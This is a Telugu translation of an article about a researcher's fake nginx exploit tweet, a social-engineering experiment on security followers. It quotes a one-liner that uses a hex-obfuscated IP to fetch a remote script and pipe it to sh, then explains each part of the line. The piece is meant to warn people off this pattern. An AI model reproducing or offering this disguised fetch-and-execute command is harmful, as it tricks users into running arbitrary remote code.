nginx కోసం నకిలీ దోపిడీతో సామాజిక ప్రయోగం విజయవంతం

గమనిక. అనువాదం.: రచయిత జూన్ 1న ప్రచురించబడిన ఒరిజినల్ నోట్, సమాచార భద్రతపై ఆసక్తి ఉన్నవారిలో ఒక ప్రయోగాన్ని నిర్వహించాలని నిర్ణయించింది. దీని కోసం, అతను వెబ్ సర్వర్‌లో బహిర్గతం కాని దుర్బలత్వం కోసం నకిలీ దోపిడీని సిద్ధం చేసి తన ట్విట్టర్‌లో పోస్ట్ చేశాడు. అతని ఊహలు - కోడ్‌లోని స్పష్టమైన మోసాన్ని చూసే నిపుణులచే తక్షణమే బహిర్గతం కావడం - నిజం కాలేదు మాత్రమే కాదు... అవి అన్ని అంచనాలను అధిగమించాయి మరియు వ్యతిరేక దిశలో ఉన్నాయి: ట్వీట్ చేయని అనేక మంది వ్యక్తుల నుండి భారీ మద్దతు పొందింది. దాని కంటెంట్లను తనిఖీ చేయండి.

nginx కోసం నకిలీ దోపిడీతో సామాజిక ప్రయోగం విజయవంతం

TL;DR: ఎట్టి పరిస్థితుల్లోనూ sh లేదా bashలో ఫైల్ పైప్‌లైనింగ్‌ని ఉపయోగించవద్దు. మీ కంప్యూటర్‌పై నియంత్రణ కోల్పోవడానికి ఇది ఒక గొప్ప మార్గం.

నేను మే 31న సృష్టించిన కామిక్ PoC దోపిడీ గురించిన చిన్న కథనాన్ని మీతో పంచుకోవాలనుకుంటున్నాను. నుండి వచ్చిన వార్తలకు ప్రతిస్పందనగా అతను వెంటనే కనిపించాడు అలీసా ఎసాజ్ షెవ్చెంకో, సభ్యుడు జీరో డే ఇనిషియేటివ్ (ZDI), RCE (రిమోట్ కోడ్ ఎగ్జిక్యూషన్)కి దారితీసే NGINXలో ఒక దుర్బలత్వం గురించిన సమాచారం త్వరలో బహిర్గతం చేయబడుతుంది. NGINX అనేక వెబ్‌సైట్‌లకు శక్తినిస్తుంది కాబట్టి, వార్త తప్పనిసరిగా బాంబు పేలుడు అయి ఉండాలి. కానీ "బాధ్యతాయుతమైన బహిర్గతం" ప్రక్రియలో ఆలస్యం కారణంగా, ఏమి జరిగిందో వివరాలు తెలియవు - ఇది ప్రామాణిక ZDI విధానం.

nginx కోసం నకిలీ దోపిడీతో సామాజిక ప్రయోగం విజయవంతం
ట్వీట్ NGINXలో దుర్బలత్వ బహిర్గతం గురించి

కర్ల్‌లో కొత్త అస్పష్టత సాంకేతికతపై పనిని పూర్తి చేసిన తర్వాత, నేను అసలు ట్వీట్‌ను కోట్ చేసాను మరియు కనుగొనబడిన దుర్బలత్వాన్ని ఉపయోగించుకునే ఒకే లైన్ కోడ్‌తో కూడిన “పనిచేసే PoCని లీక్ చేసాను”. వాస్తవానికి, ఇది పూర్తి అర్ధంలేనిది. నేను వెంటనే బహిర్గతం చేయబడతానని మరియు ఉత్తమంగా నేను రెండు రీట్వీట్‌లను పొందుతానని ఊహించాను (ఓహ్ బాగా).

nginx కోసం నకిలీ దోపిడీతో సామాజిక ప్రయోగం విజయవంతం
ట్వీట్ నకిలీ దోపిడీతో

అయితే, తర్వాత ఏం జరిగిందో ఊహించలేకపోయాను. నా ట్వీట్ పాపులారిటీ విపరీతంగా పెరిగింది. ఆశ్చర్యకరంగా, ప్రస్తుతానికి (15:00 మాస్కో సమయం జూన్ 1) కొంతమంది ఇది నకిలీ అని గ్రహించారు. చాలా మంది వ్యక్తులు దీనిని తనిఖీ చేయకుండానే రీట్వీట్ చేస్తారు (ఇది అందజేసే ASCII గ్రాఫిక్స్‌ని మెచ్చుకోవడం మాత్రమే కాదు).

nginx కోసం నకిలీ దోపిడీతో సామాజిక ప్రయోగం విజయవంతం
ఇది ఎంత అందంగా ఉందో చూడండి!

ఈ లూప్‌లు మరియు రంగులు అన్నీ అద్భుతంగా ఉన్నప్పటికీ, ప్రజలు వాటిని చూడటానికి వారి మెషీన్‌లో కోడ్‌ని అమలు చేయాలని స్పష్టంగా ఉంది. అదృష్టవశాత్తూ, బ్రౌజర్‌లు అదే విధంగా పని చేస్తాయి మరియు నేను నిజంగా చట్టపరమైన ఇబ్బందుల్లో పడకూడదనుకోవడంతో కలిపి, నా సైట్‌లో పాతిపెట్టిన కోడ్ ఏదైనా అదనపు కోడ్‌ను ఇన్‌స్టాల్ చేయడానికి లేదా అమలు చేయడానికి ప్రయత్నించకుండా ఎకో కాల్‌లను చేస్తోంది.

ఒక చిన్న డైగ్రెషన్: నెట్‌స్పూకీ, dnz, నేను మరియు జట్టులోని ఇతర వ్యక్తులు దుండగులు మేము చాలా కాలంగా కర్ల్ కమాండ్‌లను అస్పష్టం చేయడానికి వివిధ మార్గాలతో ఆడుతున్నాము ఎందుకంటే ఇది చాలా బాగుంది... మరియు మేము గీక్స్. netspooky మరియు dnz నాకు చాలా ఆశాజనకంగా అనిపించిన అనేక కొత్త పద్ధతులను కనుగొన్నారు. నేను సరదాగా చేరి, ట్రిక్స్ బ్యాగ్‌కి IP దశాంశ మార్పిడులను జోడించడానికి ప్రయత్నించాను. IPని హెక్సాడెసిమల్ ఫార్మాట్‌కి కూడా మార్చవచ్చని తేలింది. అంతేకాకుండా, కర్ల్ మరియు ఇతర NIX సాధనాలు హెక్సాడెసిమల్ IPలను సంతోషంగా తింటాయి! కనుక ఇది నమ్మదగిన మరియు సురక్షితమైన కమాండ్ లైన్‌ను సృష్టించడం మాత్రమే. చివరికి నేను దీనిపై స్థిరపడ్డాను:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

సోషియో-ఎలక్ట్రానిక్ ఇంజనీరింగ్ (SEE) - కేవలం ఫిషింగ్ కంటే ఎక్కువ

భద్రత మరియు పరిచయం ఈ ప్రయోగంలో ప్రధాన భాగం. అవే అతని విజయానికి దారితీశాయని నేను భావిస్తున్నాను. కమాండ్ లైన్ స్పష్టంగా "127.0.0.1" (ప్రసిద్ధ స్థానిక హోస్ట్)ని సూచించడం ద్వారా భద్రతను సూచిస్తుంది. Localhost సురక్షితంగా పరిగణించబడుతుంది మరియు దానిలోని డేటా మీ కంప్యూటర్‌ను ఎప్పటికీ వదిలివేయదు.

పరిచయం అనేది ప్రయోగం యొక్క రెండవ ముఖ్యమైన SEE భాగం. లక్ష్య ప్రేక్షకులు ప్రాథమికంగా కంప్యూటర్ భద్రత యొక్క ప్రాథమికాలను తెలిసిన వ్యక్తులను కలిగి ఉన్నందున, కోడ్‌ని సృష్టించడం చాలా ముఖ్యం, తద్వారా దానిలోని భాగాలు సుపరిచితమైనవి మరియు సుపరిచితమైనవి (అందువలన సురక్షితం). పాత దోపిడీ భావనల మూలకాలను తీసుకోవడం మరియు అసాధారణ రీతిలో వాటిని కలపడం చాలా విజయవంతమైంది.

వన్-లైనర్ యొక్క వివరణాత్మక విశ్లేషణ క్రింద ఉంది. ఈ జాబితాలోని ప్రతిదీ ధరిస్తుంది సౌందర్య స్వభావం, మరియు దాని అసలు ఆపరేషన్ కోసం ఆచరణాత్మకంగా ఏమీ అవసరం లేదు.

ఏ భాగాలు నిజంగా అవసరం? ఈ -gsS, -O 0x0238f06a, |sh మరియు వెబ్ సర్వర్ కూడా. వెబ్ సర్వర్ ఎటువంటి హానికరమైన సూచనలను కలిగి లేదు, కానీ ఆదేశాలను ఉపయోగించి ASCII గ్రాఫిక్‌లను అందించింది echo లో ఉన్న స్క్రిప్ట్‌లో index.html. వినియోగదారు ఒక లైన్‌ను నమోదు చేసినప్పుడు |sh మధ్యలో, index.html లోడ్ చేయబడింది మరియు అమలు చేయబడింది. అదృష్టవశాత్తూ, వెబ్ సర్వర్ సంరక్షకులకు ఎటువంటి చెడు ఉద్దేశాలు లేవు.

  • ../../../%00 - డైరెక్టరీని దాటి వెళ్ళడాన్ని సూచిస్తుంది;
  • ngx_stream_module.so — యాదృచ్ఛిక NGINX మాడ్యూల్‌కు మార్గం;
  • /bin/sh%00<'protocol:TCP' - మేము లాంచ్ చేస్తున్నాము /bin/sh లక్ష్య మెషీన్‌లో మరియు అవుట్‌పుట్‌ను TCP ఛానెల్‌కు మళ్లించండి;
  • -O 0x0238f06a#PLToffset - రహస్య పదార్ధం, అనుబంధం #PLToffset, PLTలో ఉన్న మెమరీ ఆఫ్‌సెట్ లాగా కనిపించడం;
  • |sh; - మరొక ముఖ్యమైన భాగం. వద్ద ఉన్న దాడి చేసే వెబ్ సర్వర్ నుండి వచ్చే కోడ్‌ను అమలు చేయడానికి మేము అవుట్‌పుట్‌ను sh/bashకి మళ్లించాల్సిన అవసరం ఉంది 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - నెట్‌క్యాట్ సూచించే డమ్మీ /dev/tcp/localhostతద్వారా ప్రతిదీ మళ్లీ సురక్షితంగా కనిపిస్తుంది. వాస్తవానికి, ఇది ఏమీ చేయదు మరియు అందం కోసం లైన్లో చేర్చబడుతుంది.

ఇది వన్-లైన్ స్క్రిప్ట్ యొక్క డీకోడింగ్ మరియు "సోషియో-ఎలక్ట్రానిక్ ఇంజనీరింగ్" (క్లిష్టమైన ఫిషింగ్) అంశాల చర్చను ముగించింది.

వెబ్ సర్వర్ కాన్ఫిగరేషన్ మరియు కౌంటర్మెజర్స్

నా సబ్‌స్క్రైబర్‌లలో అత్యధికులు ఇన్ఫోసెక్/హ్యాకర్‌లు కాబట్టి, కుర్రాళ్ళు ఏదైనా చేయవలసి ఉంటుంది (మరియు అది సరదాగా ఉంటుంది) వారి పక్షంలో "ఆసక్తి" యొక్క వ్యక్తీకరణలకు వెబ్ సర్వర్‌ను కొంచెం నిరోధకంగా చేయాలని నేను నిర్ణయించుకున్నాను. ఏర్పాటు). ప్రయోగం ఇప్పటికీ కొనసాగుతున్నందున నేను అన్ని ఆపదలను ఇక్కడ జాబితా చేయబోవడం లేదు, అయితే సర్వర్ చేసే కొన్ని విషయాలు ఇక్కడ ఉన్నాయి:

  • నిర్దిష్ట సోషల్ నెట్‌వర్క్‌లలో పంపిణీ ప్రయత్నాలను చురుకుగా పర్యవేక్షిస్తుంది మరియు లింక్‌పై క్లిక్ చేయమని వినియోగదారుని ప్రోత్సహించడానికి వివిధ ప్రివ్యూ థంబ్‌నెయిల్‌లను ప్రత్యామ్నాయం చేస్తుంది.
  • షెల్ స్క్రిప్ట్‌ను చూపడానికి బదులుగా Chrome/Mozilla/Safari/etcని Thugcrowd ప్రచార వీడియోకి దారి మళ్లిస్తుంది.
  • చొరబాటు/కఠినమైన హ్యాకింగ్ యొక్క స్పష్టమైన సంకేతాల కోసం గడియారాలు, ఆపై అభ్యర్థనలను NSA సర్వర్‌లకు దారి మళ్లించడం ప్రారంభిస్తుంది (హా!).
  • సాధారణ బ్రౌజర్ నుండి హోస్ట్‌ను సందర్శించే వినియోగదారులు అన్ని కంప్యూటర్‌లలో ట్రోజన్, అలాగే BIOS రూట్‌కిట్‌ను ఇన్‌స్టాల్ చేస్తుంది (తమాషా!).

nginx కోసం నకిలీ దోపిడీతో సామాజిక ప్రయోగం విజయవంతం
యాంటిమర్లలో ఒక చిన్న భాగం

ఈ సందర్భంలో, నా ఏకైక లక్ష్యం Apache యొక్క కొన్ని లక్షణాలను - ప్రత్యేకించి, అభ్యర్థనలను దారి మళ్లించడానికి చక్కని నియమాలు - మరియు నేను అనుకున్నాను: ఎందుకు కాదు?

NGINX దోపిడీ (నిజమే!)

దీనికి సభ్యత్వాన్ని పొందండి @అలిసాసేజ్ ట్విట్టర్‌లో మరియు NGINXలో నిజమైన దుర్బలత్వాలను మరియు అవకాశాలను ఉపయోగించుకోవడంలో ZDI యొక్క గొప్ప పనిని అనుసరించండి. వారి పని ఎల్లప్పుడూ నన్ను ఆకర్షించింది మరియు నా తెలివితక్కువ ట్వీట్‌కు కారణమైన అన్ని ప్రస్తావనలు మరియు నోటిఫికేషన్‌లతో ఆమె ఓపికపట్టినందుకు నేను ఆలిస్‌కు కృతజ్ఞుడను. అదృష్టవశాత్తూ, ఇది కూడా కొంత మేలు చేసింది: ఇది NGINX దుర్బలత్వాల గురించి, అలాగే కర్ల్ దుర్వినియోగం వల్ల కలిగే సమస్యలపై అవగాహన పెంచడంలో సహాయపడింది.

మూలం: www.habr.com

ఒక వ్యాఖ్యను జోడించండి